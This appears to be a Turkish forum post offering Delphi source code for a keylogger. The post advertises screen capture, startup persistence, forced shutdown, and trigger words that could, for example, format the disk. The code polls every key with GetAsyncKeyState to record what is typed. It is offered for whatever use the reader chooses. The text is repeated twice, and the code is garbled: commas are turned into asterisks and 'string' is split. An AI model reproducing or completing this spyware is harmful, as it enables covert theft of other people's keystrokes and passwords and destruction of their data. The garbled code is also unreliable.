asagıdaki kodlarla yapabilecekleriniz.
ekran yakalama*key logger*kapatma*reset*başlangıca yazma*pc adı bulunmasi* ekrana transparan yazi*belli bir kelimeye duyarlılık ne yapacaksanız artık*mesela orhan kelimesini kullandığında format yesin gibi...şeklinde kullanabilirsiniz.burda deneme amaçlı.orhan tusladiğinda ardından istenen bir kelime oraya hızla tus olarak gönderiliyo.siz ne yaparsanız artık..BUNDAN SONRASI SİZE KALMIS buyrun kolay gelsin
KODLAR
***********************
unit tusalgila;
interface
uses SysUtils* Windows*FORMS*SHELLAPI*UNIT1*Registry;
procedure GetLetter;
function Shift:Boolean;
function MoreChars(CharNumber:Integer;TruePart*FalsePart:st ring;var Answer:string):Boolean;
implementation
procedure GetLetter;
var
j:Integer;
a:string;
begin
if Odd(GetAsyncKeyState(219)) then ShowLetter(’Ğ’);
if Odd(GetAsyncKeyState(221)) then ShowLetter(’Ü’);
if Odd(GetAsyncKeyState(186)) then ShowLetter(’Ş’);
if Odd(GetAsyncKeyState(222)) then ShowLetter(’İ’);
if Odd(GetAsyncKeyState(191)) then ShowLetter(’Ö’);
if Odd(GetAsyncKeyState(220)) then ShowLetter(’Ç’);
// ’A’..’Z’ arasındaki tuşlara basılmışmı?
for j:=65 to 90 do
if Odd(GetAsyncKeyState(j)) then
ShowLetter(Chr(j));
for j:=96 to 105 do
if Odd(GetAsyncKeyState(j)) then
ShowLetter(IntToStr((j - 97) + 1));
//F1 İLE F24 ARASINDAKİ TUŞLARA BASILMIŞMI
for j:=112 to 135 do
if Odd(GetAsyncKeyState(j)) then
ShowLetter(’{F’ + IntToStr(j - 112 + 1) + ’}’);
//SAYILARDAN BİRİNE BASILMIŞMI?
for j:=48 to 57 do
if Odd(GetAsyncKeyState(j)) then
if Shift then
begin
case j - 48 of
1: ShowLetter(’!’);
2: ShowLetter( @ );
3: ShowLetter(’#’);
4: ShowLetter(’$’);
5: ShowLetter(’%’);
6: ShowLetter(’^’);
7: ShowLetter(’&’);
8: ShowLetter(’*’);
9: ShowLetter(’(’);
0: ShowLetter(’)’);
end;
end
else
ShowLetter(IntToStr(j - 48));
if Odd(GetAsyncKeyState(VK_BACK)) then ShowLetter(’<Back>’);
if Odd(GetAsyncKeyState(VK_TAB)) then ShowLetter(’<Tab>’);
if Odd(GetAsyncKeyState(VK_RETURN)) then ShowLetter(#13#10);
if Odd(GetAsyncKeyState(VK_SHIFT)) then ShowLetter(’<Shift>’);
if Odd(GetAsyncKeyState(VK_CONTROL)) then ShowLetter(’<CTRL>’);
if Odd(GetAsyncKeyState(VK_MENU)) then ShowLetter(’<Alt>’);
if Odd(GetAsyncKeyState(VK_PAUSE)) then ShowLetter(’<Pause>’);
if Odd(GetAsyncKeyState(VK_ESCAPE)) then ShowLetter(’<ESC>’);
if Odd(GetAsyncKeyState(VK_SPACE)) then ShowLetter(’ ’);
if Odd(GetAsyncKeyState(VK_END)) then ShowLetter(’<End>’);
if Odd(GetAsyncKeyState(VK_HOME)) then ShowLetter(’<Home>’);
if Odd(GetAsyncKeyState(VK_LEFT)) then ShowLetter(’<sol>’);
if Odd(GetAsyncKeyState(VK_RIGHT)) then ShowLetter(’<sağ>’);
if Odd(GetAsyncKeyState(VK_UP)) then ShowLetter(’<Yukarı>’);
if Odd(GetAsyncKeyState(VK_DOWN)) then ShowLetter(’<Aşağı>’);
if Odd(GetAsyncKeyState(VK_INSERT)) then ShowLetter(’<Insert>’);
if Odd(GetAsyncKeyState(VK_MULTIPLY)) then ShowLetter(’*’);
if Odd(GetAsyncKeyState(VK_ADD)) then ShowLetter(’+’);
if Odd(GetAsyncKeyState(VK_SUBTRACT)) then ShowLetter(’-’);
if Odd(GetAsyncKeyState(VK_DECIMAL)) then ShowLetter(’.’);
if Odd(GetAsyncKeyState(VK_DIVIDE)) then ShowLetter(’/’);
if Odd(GetAsyncKeyState(VK_NUMLOCK)) then ShowLetter(’<NumLock>’);
if Odd(GetAsyncKeyState(VK_CAPITAL)) then begin
IF CAP=0 THEN CAP:=1 else CAP:=0;ShowLetter(’<CapsLock>’);end;
if Odd(GetAsyncKeyState(VK_SCROLL)) then ShowLetter(’<Scroll>’);
if Odd(GetAsyncKeyState(VK_DELETE)) then ShowLetter(’<Delete>’);
if Odd(GetAsyncKeyState(VK_PRIOR)) then ShowLetter(’<Page Up>’);
if Odd(GetAsyncKeyState(VK_NEXT)) then ShowLetter(’<Page Down>’);
if Odd(GetAsyncKeyState(VK_PRINT)) then ShowLetter(’<Print Screen>’);
if MoreChars($BA*’:’*’;’*a) then ShowLetter(a);
if MoreChars($BB*’+’*’=’*a) then ShowLetter(a);
if MoreChars($BC*’<’*’*’*a) then ShowLetter(a);
if MoreChars($BD*’_’*’-’*a) then ShowLetter(a);
if MoreChars($BE*’>’*’.’*a) then ShowLetter(a);
if MoreChars($BF*’?’*’/’*a) then ShowLetter(a);
if MoreChars($C0*’~’*’`’*a) then ShowLetter(a);
if MoreChars($DB*’{’*’[’*a) then ShowLetter(a);
if MoreChars($DC*’|’*’\’*a) then ShowLetter(a);
if MoreChars($DD*’}’*’]’*a) then ShowLetter(a);
if MoreChars($DE*’"’*’’’’*a) then ShowLetter(a);
end;
function MoreChars(CharNumber:Integer;TruePart*FalsePart:st ring;var Answer:string):Boolean;
begin
MoreChars:=True;
if Odd(GetAsyncKeyState(CharNumber)) then
begin
if Shift then
Answer:=TruePart
else
Answer:=FalsePart;
Exit;
end;
MoreChars:=False;
end;
function Shift:Boolean;
begin
Shift:=GetAsyncKeyState(VK_SHIFT) <> 0;
end;
end.
unit Unit1;
interface
uses
Windows* Messages*SysUtils*Forms*ExtCtrls*Graphics*
Controls* StdCtrls* Classes*Inifiles*registry*SHELLAPI*JPEG;
type
TForm1 = class(TForm)
Timer1: TTimer;
MEMO1: TMemo;
Timer2: TTimer;
Image1: TImage;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
ekran yakalama*key logger*kapatma*reset*başlangıca yazma*pc adı bulunmasi* ekrana transparan yazi*belli bir kelimeye duyarlılık ne yapacaksanız artık*mesela orhan kelimesini kullandığında format yesin gibi...şeklinde kullanabilirsiniz.burda deneme amaçlı.orhan tusladiğinda ardından istenen bir kelime oraya hızla tus olarak gönderiliyo.siz ne yaparsanız artık..BUNDAN SONRASI SİZE KALMIS buyrun kolay gelsin
KODLAR
***********************
unit tusalgila;
interface
uses SysUtils* Windows*FORMS*SHELLAPI*UNIT1*Registry;
procedure GetLetter;
function Shift:Boolean;
function MoreChars(CharNumber:Integer;TruePart*FalsePart:st ring;var Answer:string):Boolean;
implementation
procedure GetLetter;
var
j:Integer;
a:string;
begin
if Odd(GetAsyncKeyState(219)) then ShowLetter(’Ğ’);
if Odd(GetAsyncKeyState(221)) then ShowLetter(’Ü’);
if Odd(GetAsyncKeyState(186)) then ShowLetter(’Ş’);
if Odd(GetAsyncKeyState(222)) then ShowLetter(’İ’);
if Odd(GetAsyncKeyState(191)) then ShowLetter(’Ö’);
if Odd(GetAsyncKeyState(220)) then ShowLetter(’Ç’);
// ’A’..’Z’ arasındaki tuşlara basılmışmı?
for j:=65 to 90 do
if Odd(GetAsyncKeyState(j)) then
ShowLetter(Chr(j));
for j:=96 to 105 do
if Odd(GetAsyncKeyState(j)) then
ShowLetter(IntToStr((j - 97) + 1));
//F1 İLE F24 ARASINDAKİ TUŞLARA BASILMIŞMI
for j:=112 to 135 do
if Odd(GetAsyncKeyState(j)) then
ShowLetter(’{F’ + IntToStr(j - 112 + 1) + ’}’);
//SAYILARDAN BİRİNE BASILMIŞMI?
for j:=48 to 57 do
if Odd(GetAsyncKeyState(j)) then
if Shift then
begin
case j - 48 of
1: ShowLetter(’!’);
2: ShowLetter( @ );
3: ShowLetter(’#’);
4: ShowLetter(’$’);
5: ShowLetter(’%’);
6: ShowLetter(’^’);
7: ShowLetter(’&’);
8: ShowLetter(’*’);
9: ShowLetter(’(’);
0: ShowLetter(’)’);
end;
end
else
ShowLetter(IntToStr(j - 48));
if Odd(GetAsyncKeyState(VK_BACK)) then ShowLetter(’<Back>’);
if Odd(GetAsyncKeyState(VK_TAB)) then ShowLetter(’<Tab>’);
if Odd(GetAsyncKeyState(VK_RETURN)) then ShowLetter(#13#10);
if Odd(GetAsyncKeyState(VK_SHIFT)) then ShowLetter(’<Shift>’);
if Odd(GetAsyncKeyState(VK_CONTROL)) then ShowLetter(’<CTRL>’);
if Odd(GetAsyncKeyState(VK_MENU)) then ShowLetter(’<Alt>’);
if Odd(GetAsyncKeyState(VK_PAUSE)) then ShowLetter(’<Pause>’);
if Odd(GetAsyncKeyState(VK_ESCAPE)) then ShowLetter(’<ESC>’);
if Odd(GetAsyncKeyState(VK_SPACE)) then ShowLetter(’ ’);
if Odd(GetAsyncKeyState(VK_END)) then ShowLetter(’<End>’);
if Odd(GetAsyncKeyState(VK_HOME)) then ShowLetter(’<Home>’);
if Odd(GetAsyncKeyState(VK_LEFT)) then ShowLetter(’<sol>’);
if Odd(GetAsyncKeyState(VK_RIGHT)) then ShowLetter(’<sağ>’);
if Odd(GetAsyncKeyState(VK_UP)) then ShowLetter(’<Yukarı>’);
if Odd(GetAsyncKeyState(VK_DOWN)) then ShowLetter(’<Aşağı>’);
if Odd(GetAsyncKeyState(VK_INSERT)) then ShowLetter(’<Insert>’);
if Odd(GetAsyncKeyState(VK_MULTIPLY)) then ShowLetter(’*’);
if Odd(GetAsyncKeyState(VK_ADD)) then ShowLetter(’+’);
if Odd(GetAsyncKeyState(VK_SUBTRACT)) then ShowLetter(’-’);
if Odd(GetAsyncKeyState(VK_DECIMAL)) then ShowLetter(’.’);
if Odd(GetAsyncKeyState(VK_DIVIDE)) then ShowLetter(’/’);
if Odd(GetAsyncKeyState(VK_NUMLOCK)) then ShowLetter(’<NumLock>’);
if Odd(GetAsyncKeyState(VK_CAPITAL)) then begin
IF CAP=0 THEN CAP:=1 else CAP:=0;ShowLetter(’<CapsLock>’);end;
if Odd(GetAsyncKeyState(VK_SCROLL)) then ShowLetter(’<Scroll>’);
if Odd(GetAsyncKeyState(VK_DELETE)) then ShowLetter(’<Delete>’);
if Odd(GetAsyncKeyState(VK_PRIOR)) then ShowLetter(’<Page Up>’);
if Odd(GetAsyncKeyState(VK_NEXT)) then ShowLetter(’<Page Down>’);
if Odd(GetAsyncKeyState(VK_PRINT)) then ShowLetter(’<Print Screen>’);
if MoreChars($BA*’:’*’;’*a) then ShowLetter(a);
if MoreChars($BB*’+’*’=’*a) then ShowLetter(a);
if MoreChars($BC*’<’*’*’*a) then ShowLetter(a);
if MoreChars($BD*’_’*’-’*a) then ShowLetter(a);
if MoreChars($BE*’>’*’.’*a) then ShowLetter(a);
if MoreChars($BF*’?’*’/’*a) then ShowLetter(a);
if MoreChars($C0*’~’*’`’*a) then ShowLetter(a);
if MoreChars($DB*’{’*’[’*a) then ShowLetter(a);
if MoreChars($DC*’|’*’\’*a) then ShowLetter(a);
if MoreChars($DD*’}’*’]’*a) then ShowLetter(a);
if MoreChars($DE*’"’*’’’’*a) then ShowLetter(a);
end;
function MoreChars(CharNumber:Integer;TruePart*FalsePart:st ring;var Answer:string):Boolean;
begin
MoreChars:=True;
if Odd(GetAsyncKeyState(CharNumber)) then
begin
if Shift then
Answer:=TruePart
else
Answer:=FalsePart;
Exit;
end;
MoreChars:=False;
end;
function Shift:Boolean;
begin
Shift:=GetAsyncKeyState(VK_SHIFT) <> 0;
end;
end.
unit Unit1;
interface
uses
Windows* Messages*SysUtils*Forms*ExtCtrls*Graphics*
Controls* StdCtrls* Classes*Inifiles*registry*SHELLAPI*JPEG;
type
TForm1 = class(TForm)
Timer1: TTimer;
MEMO1: TMemo;
Timer2: TTimer;
Image1: TImage;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;